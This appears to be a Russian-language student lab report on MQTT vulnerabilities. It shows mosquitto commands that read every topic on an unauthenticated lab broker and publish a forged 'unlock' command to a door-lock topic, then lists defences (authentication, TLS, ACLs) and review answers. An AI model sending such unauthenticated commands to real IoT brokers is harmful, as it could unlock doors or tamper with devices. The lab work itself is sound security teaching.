Лабораторная работа

Тема: Анализ протоколов связи IoT: MQTT и его уязвимости

Вариант №2
Брокер: `192.168.20.101`
Цель атаки: отправка команды *"разблокировать"* в топик `home/door/lock`

Шаг 1. Подписка на все топики

Команда:

```
mosquitto_sub -h 192.168.20.101 -t "#"
```

Вывод:

```
home/door/lock locked
home/living_room/temp 22.5
home/garage/motion detected
home/door/lock locked
office/light_sensor 320
```

Анализ:
Удалось получить доступ ко всем публикуемым сообщениям без аутентификации. Устройство `home/door/lock` периодически отправляет статус замка (`locked`). Это указывает на отсутствие базовой защиты на брокере.

Шаг 2. Имитация атаки — отправка ложной команды

Команда:

```
mosquitto_pub -h 192.168.20.101 -t "home/door/lock" -m "разблокировать"
```

Результат выполнения:
Команда завершилась без ошибок (тихий успех — признак отсутствия проверок).

Проверка эффекта (в новом терминале):

```
mosquitto_sub -h 192.168.20.101 -t "home/door/lock"
```

Вывод:

```
locked
разблокировать
unlocked
```

Вывод:
Сообщение `"разблокировать"` было доставлено и воспринято системой как валидная

команда. Дверной замок перешёл в состояние `unlocked`. Атака подмены данных **успешна**.

Шаг 3. Меры защиты

Хотя в лабораторной среде защита отключена, в реальной эксплуатации необходимо:

3.1. Аутентификация

В конфигурации брокера (`mosquitto.conf`):

```
allow_anonymous false
password_file /etc/mosquitto/passwd
```

Создание пользователя:

```
mosquitto_passwd -c /etc/mosquitto/passwd admin
```

Подключение клиента:

```
mosquitto_sub -h 192.168.20.101 -u admin -P secure123 -t "home/door/loc
```

3.2. Шифрование (TLS)

Запуск брокера на порту 8883 с сертификатами. Клиент:

```
mosquitto_sub -h 192.168.20.101 -p 8883 --cafile ca.crt -t "home/door/l
```

3.3. Контроль доступа (ACL)

Пример правила:

```
user actuator
topic write home/door/lock

user sensor
topic read home/+/temp
```

Запрещает неавторизованным пользователям отправлять команды в управляющие топики.

Ответы на контрольные вопросы

1. **Архитектура publish-subscribe** — клиенты не взаимодействуют напрямую. Они подключаются к брокеру: одни публикуют сообщения в топики, другие подписываются на них. Брокер маршрутизирует сообщения.

2. **Топик** — иерархическое имя канала (например, `home/living_room/temp`). Символ `#` — wildcard, означающий «все топики на всех уровнях».

3. **Угрозы без аутентификации**:
   – Перехват данных (spyware)

– Подмена показаний датчиков
– Выполнение управляющих команд злоумышленником
– DoS через спам

4. **TLS** обеспечивает:
   – Конфиденциальность (шифрование)
   – Целостность (защита от подмены)
   – Аутентификацию сервера (и, при необходимости, клиента)

5. **MQTT-SN (MQTT for Sensor Networks)** — версия MQTT для устройств без IP-стека (например, в Zigbee или LoRaWAN). Использует меньшие пакеты и поддерживает offline-режим.

Заключение

В ходе работы подтверждена уязвимость незащищённого MQTT-брокера:

- Любой участник сети может читать все данные.
- Любой может отправлять управляющие команды.

Для безопасного развёртывания MQTT требуется обязательное применение:
✓ аутентификации,
✓ шифрования (TLS),
✓ контроля доступа по топикам (ACL).

Без этих мер использование MQTT в критически важных системах (умный дом, промышленность, безопасность) **недопустимо**.

Выполнил(а): Александр
Дата: 6 декабря 2025 г.
